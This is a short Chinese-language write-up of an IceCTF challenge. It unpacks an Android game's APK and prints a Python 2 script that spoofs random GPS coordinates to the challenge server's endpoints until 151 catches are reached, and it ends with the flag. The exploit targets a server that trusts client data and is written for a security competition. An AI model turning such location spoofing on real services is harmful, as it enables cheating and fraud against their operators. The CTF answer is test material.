• 下载apk安装查看功能，发现是抓取mango ：D，要求抓到151只直接给flag
• 解压apk看内容
  apk搭载了http内容，通过js脚本的http请求实现，只看mango.js和store.js就可以

js脚本.png

mangojs.png

storejs.png

• uuid通过抓包查看

• 实现脚本如下

import requests
import json
import random
import time

js = {}
headers = {
    'Cookie': '__cfduid='#抓包查看
}
payload_list = {
    'lat': '',
    'long': '',
    'uuid': ''#抓包查看
}
payload_catch = {
    'curLat': '',
    'curLong': '',
    'mangoLat': '',
    'mangoLong': '',
    'uuid': ''
}
payload_count = {
    'uuid': ''
}
#获取抓取数量
res_count = requests.post(
    'http://pokeamango.vuln.icec.tf/mango/count', data=payload_count, headers=headers)
if res_count.json():
    count = res_count.json()['count']
    print '--------------Catched number--------------------'
    print count
#抓取
while count < 151:
    payload_catch['curLat'] = payload_list['lat'] = '19.45' + \
        str(random.randint(2000, 9000))
    payload_catch['curLong'] = payload_list['long'] = '-155.57' + \
        str(random.randint(2000, 9000))
    print '--------------Current location--------------------'
    print payload_catch['curLat']+'--'+payload_catch['curLong']
    res_list = requests.post(
        'http://pokeamango.vuln.icec.tf/mango/list', data=payload_list, headers=headers)
    js = res_list.json()
    if js['mangos']:
        print js['mangos']
        # print res_list.json()
        print '--------------Begin to catch--------------------'
        for item in js['mangos']:
            if item:
                payload_catch['mangoLat'] = item['lat']
                payload_catch['mangoLong'] = item['lng']
                res_catch = requests.post(
                    'http://pokeamango.vuln.icec.tf/mango/catch',
                    data=payload_catch, headers=headers)
                if res_catch:
                    print res_catch.json()['message']
                    msg = res_catch.json()['message']
                    print msg
                    if msg == 'Mango Caught!':
                        count += 1
        time.sleep(2)
#获取flag
if count >= 151:
    res_flag = requests.post(
        'http://pokeamango.vuln.icec.tf/store/flag', data=payload_count, headers=headers)
    print res_flag.json()['message']

flag：IceCTF{gotta_poke_em_all_we_really_need_some_serverside_checking}